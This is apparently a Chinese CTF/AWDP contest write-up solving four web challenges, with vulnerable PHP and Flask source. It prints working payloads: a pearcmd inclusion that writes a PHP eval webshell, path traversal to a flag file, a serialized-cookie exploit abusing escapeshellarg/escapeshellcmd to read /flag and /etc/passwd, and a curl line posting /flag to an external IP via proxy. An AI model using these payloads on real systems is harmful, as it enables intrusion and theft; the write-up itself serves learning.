江西省赛awdp


web1

image-20251101120712480

一眼pearcmd包含

1
?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php

image-20251101115942337

image-20251101120215499

web2

后端代码在code文件下

classdr.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php

class bc0n{
    public $code;
    public $name;
    public $about = false;


    public function __get($a){
        if ($this->about){
            create_function("",$this->code);
        }
    }

    public function check() {
        $s1 = $this->name;
        $s1();
    }

}


class rn0g{
    public $echofi;
    public function __toString() {
        $this->echofi->come;
    }
}


class qw4e{
    private $nonono;

    public function __construct($cookie){
        $this->nonono = $cookie;
    }

    public function __destruct() {
        if (is_object($this->nonono) && method_exists($this->nonono,'check') )
            $this->nonono->check();
    }

}

class y3ui{
    public $ability;
    private $display;

    public function check(){
        if (preg_match("/va|file|pa|sys|exec|cat/i",$this->ability)){
            echo "hack!!!";
        }
    }

    public  function __call($a,$b){
        $this->display->come();
    }

}



class file{
    public $fileName;
    public function __construct($file){
        $this->fileName = $file;

    }

    public function delfile(){
        if (file_exists($this->fileName)) {
            if (unlink($this->fileName)) {
                echo "文件 $this->fileName 已成功删除。";
            } else {
                echo "无法删除文件 $this->fileName";
            }
        } else {
            echo "文件 $this->fileName 不存在。";
        }
    }

    public function viewfile(){
        if (file_exists($this->fileName)) {
            $fileContent = file_get_contents($this->fileName);

            // 显示文件内容
            $base64Image = base64_encode($fileContent);
            $imageType = pathinfo($fileContent, PATHINFO_EXTENSION);
            $dataUri = 'data:image/' . $imageType . ';base64,' . $base64Image;
            return $dataUri;
        } else {
            echo "文件不存在。";
        }
    }

}

delfile_file.php

1
2
3
4
5
6
7
8
<?php
include "class.php";

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file'])) {
    $fileName = urldecode($_POST['file']);
    $delF = new file($fileName);
    $delF->delfile();
}

file.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

        <?php
        $directory = '../uploads';
        $allFiles = array_diff(scandir($directory), array('.', '..'));
        $page = isset($_GET['page']) ? intval($_GET['page']) : 1;
        $perPage = 10; // 每页显示10个文件
        $totalFiles = count($allFiles);
        $totalPages = ceil($totalFiles / $perPage);
        $offset = ($page - 1) * $perPage;
        $files = array_slice($allFiles, $offset, $perPage);

        foreach ($files as $file) {
            $filePath = $directory . '/' . $file;
            $fileSize = filesize($filePath);
            $fileTime = date("Y-m-d H:i:s", filemtime($filePath));

            echo "<li>";
            echo "<div class='file-info'>";
            echo "<a href='view_file.php?file=" . urlencode($file) . "' target='_blank'>" . htmlspecialchars($file) . "</a><br>";
            echo "大小: " . round($fileSize / 1024, 2) . " KB<br>";
            echo "上传时间: " . $fileTime;
            echo "</div>";
            echo "<form action='delete_file.php' method='post'>";
            echo "<input type='hidden' name='file' value='" . urlencode($filePath) . "'>";
            echo "<input type='submit' value='删除'>";
            echo "</form>";
            echo "</li>";
        }
        ?>

upload.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
$uploadDir = $_SERVER['DOCUMENT_ROOT'].'/uploads/';

if (!is_dir($uploadDir)){
    mkdir($uploadDir,0777,true);
}

if (isset($_FILES['userFile'])) {
    $filename = $_FILES['userFile']['name'];
    if ($filename === ""){
        exit("<script>alert('你小子想干嘛!!!')</script>");
    }

    // 检查文件类型和大小
    $maxSize = 2 * 1024 * 1024; // 最大文件大小(2MB)
    $file = strtolower(substr($filename, strrpos($filename, '.') + 1));
    $uploadFile = $uploadDir . md5($filename).".".$file;
    if (preg_match("/ph|ht|user|gz/i", $file)) {
        echo '文件格式不允许上传';
    } elseif ($_FILES['userFile']['size'] > $maxSize) {
        echo '文件大小超过了2MB的限制.';
    } else {
        if (move_uploaded_file($_FILES['userFile']['tmp_name'], $uploadFile)) {
            echo "\n\n\n\n文件上传成功\n\n\n\n\n";
            echo $uploadFile;
        } else {
            echo '文件上传失败';
        }
    }
}

?>

view_file.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "class.php";

if (isset($_GET['file'])) {
    $fileName = $_GET['file'];
    if (preg_match("/flag|\?|\*/",$fileName)) {
        exit();
    }
    $filePath = '../uploads/' . $fileName; // 替换为您的上传目录
    $viewF = new file($filePath);
    $dataUri = $viewF->viewfile();
} else {
    echo "没有指定要查看的文件。";
}
?>
<?php if (!empty($dataUri)): ?>
        <img src="<?php echo $dataUri; ?>" alt="Your file" style="max-width: 100%; height: auto;">
<?php else: ?>
    <p>文件不存在</p>
<?php endif; ?>

这题解法是在view_file.php给file传参

1
?file=../ffffllll4g.php

这题是主办方后面告诉了flag在ffffllll4g.php里,应该是非预期,可能是题目太难加的功能点。预期解应该是文件上传,因为最后防御竟然是

1
$file = strtolower(substr($filename, strrpos($filename, '.') + 1))=="gif";

确实,文件上传的题应该都限制文件名的

web3

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# -*- coding: utf-8 -*-
from flask import Flask, redirect,request,render_template,session
import os
import hashlib
import sqlite3
import shlex
import sys

# 设置默认编码为UTF-8
import io
import codecs

# Monkey patch Flask's safe_join to handle unicode paths
import flask.helpers
original_safe_join = flask.helpers.safe_join

def safe_join_utf8(directory, filename):
    if isinstance(directory, str):
        directory = directory.decode('utf-8', errors='replace')
    if isinstance(filename, str):
        filename = filename.decode('utf-8', errors='replace')
    return original_safe_join(directory, filename)

flask.helpers.safe_join = safe_join_utf8

# Ensure all paths are properly encoded
template_folder = 'templates'
static_folder = 'static'
static_url_path = '/static'

app = Flask(__name__, template_folder=template_folder, static_folder=static_folder, static_url_path=static_url_path)
app.secret_key='**************************'

# Configure Flask to handle non-ASCII characters
app.config['JSON_AS_ASCII'] = False


@app.route('/',methods=['GET'])
def index():
    conn = sqlite3.connect('imgDB.db')
    c = conn.cursor()
    c.execute('select img_url,img_name from img')
    img_list = c.fetchall()
    return render_template('index.html',img_list=img_list)

@app.route('/upload',methods=['GET','POST'])
def upload():
    if request.method == 'GET':
        # 初次访问不传入提示信息,避免不必要的Unicode比较
        return render_template('upload.html')
    else:
        try:
            conn = sqlite3.connect('imgDB.db')
            cur = conn.cursor()

            file = request.files['file']
            img_name = file.filename
            suffix = img_name.split('.')[-1]
            save_file_name = hashlib.md5(img_name.encode('utf-8')).hexdigest() + '.' +  suffix

            img_url = 'static/img/{}'.format(save_file_name)
            file.save(img_url)
            # Use subprocess instead of os.popen for better encoding handling
            import subprocess
            try:
                img_info = subprocess.check_output(['file', '-b', img_url], stderr=subprocess.STDOUT)
                img_info = img_info.decode('utf-8', errors='replace')
            except Exception as e:
                img_info = "Error getting file info: {}".format(str(e))
            # Use parameterized query for all values including img_info
            cur.execute('insert into img(img_name,img_url,img_info) values(?,?,?)',(img_name,img_url,img_info))
            
            conn.commit()
            cur.close()
        except Exception as e:
            print(str(e))
            return render_template('upload.html', msg=u'上传失败', success=False)
        return render_template('upload.html', msg=u'上传成功', success=True)

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'GET':
        # 初次访问不传入提示信息,避免不必要的Unicode比较
        return render_template('login.html')
    else:
        username = request.form['username']
        password = request.form['password']
        conn = sqlite3.connect('imgDB.db')
        cur = conn.cursor()
        cur.execute('select * from user where username=? and password=?',(username,password))
        result = cur.fetchone()
        if result:
            session['username'] = username
            return redirect("/admin")
        else:
            # 错误提示统一为Unicode并传递success布尔值
            return render_template('login.html', msg=u'用户名或密码错误', success=False)

@app.route('/admin',methods=['GET'])
def admin():
    if 'username' in session and session['username'] == 'admin':
        conn = sqlite3.connect('imgDB.db')
        c = conn.cursor()
        c.execute('select img_name,img_url,img_info from img')
        items = c.fetchall()
        # 传递user对象到模板,避免Jinja2中'user'未定义错误
        user = {'username': session['username']}
        return render_template('admin.html', items=items, user=user)
    else:
        return redirect('/login')

@app.route('/showExif',methods=['GET'])
def showExif():
    if 'username' in session and session['username'] == 'admin':
        img_url = request.args.get('img_url')
        # Use subprocess instead of os.popen for better encoding handling
        import subprocess
        try:
            img_info = subprocess.check_output(['tools/exiftool/exiftool', img_url], stderr=subprocess.STDOUT)
            return img_info.decode('utf-8', errors='replace')
        except Exception as e:
            return "Error processing image: {}".format(str(e))
    else:
        return redirect('/login')

@app.route('/showInfo',methods=['GET'])
def showInfo():
    img_name = request.args.get('img_name')
    conn = sqlite3.connect('imgDB.db')
    c = conn.cursor()
    c.execute('select img_info from img where img_name=\''+img_name+"\'")
    img_info = c.fetchone()
    if img_info and img_info[0]:
        # Handle potential encoding issues
        try:
            return img_info[0]
        except UnicodeDecodeError:
            # Try to decode with utf-8
            return img_info[0].decode('utf-8', errors='replace')
    return ''




if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

web4

考点:escapeshellarg() + escapeshellcmd() 之殇

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
session_start();
include 'class.php';

if (isset($_COOKIE['user'])){
    $user = unserialize(base64_decode($_COOKIE['user']));
} else {
    $user = new user;
}

if (isset($_GET['username']) && isset($_GET['age']) && isset($_GET['introdution']) && isset($_GET['blog'])) {
    $user->update();
}

$_COOKIE['user'] = base64_encode(serialize($user));
setcookie('user', $_COOKIE['user'], time() + 3600);

?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class user {
    public $username;
    public $age;
    public $introdution;
    public $blog;
    public $is_admin;

    public function __construct() {
        $this->username = 'ctfer';
        $this->age = 18;
        $this->introdution = 'I am a ctfer';
        $this->blog = 'www.ctfer.com';
        $this->is_admin = false;

    }

    public function update() {
        $this->username = $_GET['username'];
        $this->age = $_GET['age'];
        $this->introdution = $_GET['introdution'];
        $this->blog = $_GET['blog'];
    }
    


    public function __destruct() {
        if ($this->is_admin) {
            echo "This is your blog ,dear admin!</br>";
            $cmd = "curl ";
            $cmd =  $cmd.escapeshellcmd(escapeshellarg("http://".$this->blog));
            system($cmd);
        }
    }

    public function __wakeup()

    {
        // 反序列化后默认无操作
    }
}

代码审计很简单,漏洞点就是admin.php里面cookie传反序列化就行,exp是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
class user {
    public $username;
    public $age;
    public $introdution;
    public $blog;
    public $is_admin;

    public function __construct() {
        $this->username = 'ctfer';
        $this->age = 18;
        $this->introdution = 'I am a ctfer';
        $this->blog = "' file:///flag '";
        $this->is_admin = TRUE;

    }
}
$a=new  user();
echo base64_encode(serialize($a));

但是解释一下为什么,首先看一下escapeshellarg

image-20251122080316663

简单来说就是先将字符串用单引号包含,然后转义字符

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
单引号 ('):转义为 \'。
双引号 ("):转义为 \"。
反斜杠 (\):转义为 \\。
美元符号 ($):转义为 \$。
反引号 (`):转义为 ``````。
感叹号 (!):转义为 \!。
分号 (;):转义为 \;。
大于号 (>):转义为 \>。
小于号 (<):转义为 \<。
垂直线 (|):转义为 \|。
与号 (&):转义为 \&。
空格 ( ):转义为 \ 。

再看看escapeshellarg

image-20251122080335661

这个记住

1
反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义

解法一:利用curl+file

所以我们可以打如下payload,可以来分析一下过程

1
2
3
$this->blog="' file:///flag '";

#即使curl escapeshellcmd(escapeshellarg("http://'file://flag'"))

我们知道函数里面经过escapeshellarg转义成为

单引号包裹字符串

1
'http://' file:///flag \''

然后添加两个单引号到转义的单引号左右,使得两部分括起来从而起到连接的作用,得到

1
'http://'\'' file:///flag '\'''

经过escapeshellcmd成为(转义 shell 元字符,特别是反斜杠 \ 被转义为 \\)

1
'http://'\\'' file:///flag '\\'''
1
终运行的结果是curl http://\ file:///flag \\,对于'http://'\''来说,由于\是转义的,后面的一对'直接可以忽略了,而最后'\\'''单引号内的两个反斜杠被当作字面字符解析为\\,最后一对'忽略,所以结果是http://\ file:///flag \\,由于'http://'执行不了,所以实际上执行的是file:///flag。

image-20251122080113341

不懂可以在虚拟机解析一下

1
curl 'http://'\\'' file:///etc/passwd '\\'''
1
echo curl 'http://'\\'' file:///etc/passwd '\\'''  

image-20251122101822243

可以看到被解析为

1
curl http://\ file:///ect/passwd \\

再不懂可以使用 set -x 来查看命令是如何被解析的

image-20251122101754376

发现命令解析成功,并执行

[Audit-Learning/escapeshellarg 和 escapeshellcmd 函数.md at master · jiangsir404/Audit-Learning · GitHub](https://github.com/jiangsir404/Audit-Learning/blob/master/escapeshellarg 和 escapeshellcmd 函数.md)

https://www.anquanke.com/post/id/98896

解法二:反弹shell

当然,也可以发送到自己靶机

1
127.0.0.1/' -F file=@/flag -x  101.200.39.193:5000

经过escapeshellarg转义成为

1
'http://127.0.0.1/'\'' -F file=@/flag -x  101.200.39.193:5000'

经过escapeshellcmd成为

1
'http://127.0.0.1/'\\''  -F file=@/etc/passwd -x  127.0.0.1:5000\'
1
终运行的结果是curl 'http://baidu.com/'\'' -F file=@/etc/passwd -x vps:9999',对于'http://baidu.com/'\''来说,由于\是转义的,后面的一对'直接可以忽略了,所以实际上执行的是curl 'http://baidu.com/'。代理-x vps:9999'后面的'对于代理也没有影响,因此最后就能够正常地执行了。

先本地打看看

1
curl	'http://127.0.0.1/'\\''  -F file=@/etc/passwd -x  127.0.0.1:5000\'

image-20251122091835762

成功,所以题目里打

1
127.0.0.1/' -F file=@/flag -x  101.200.39.193

但是靶机好像有点问题弹不上

PHP escapeshellarg()+escapeshellcmd()绕过-CSDN博客

谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计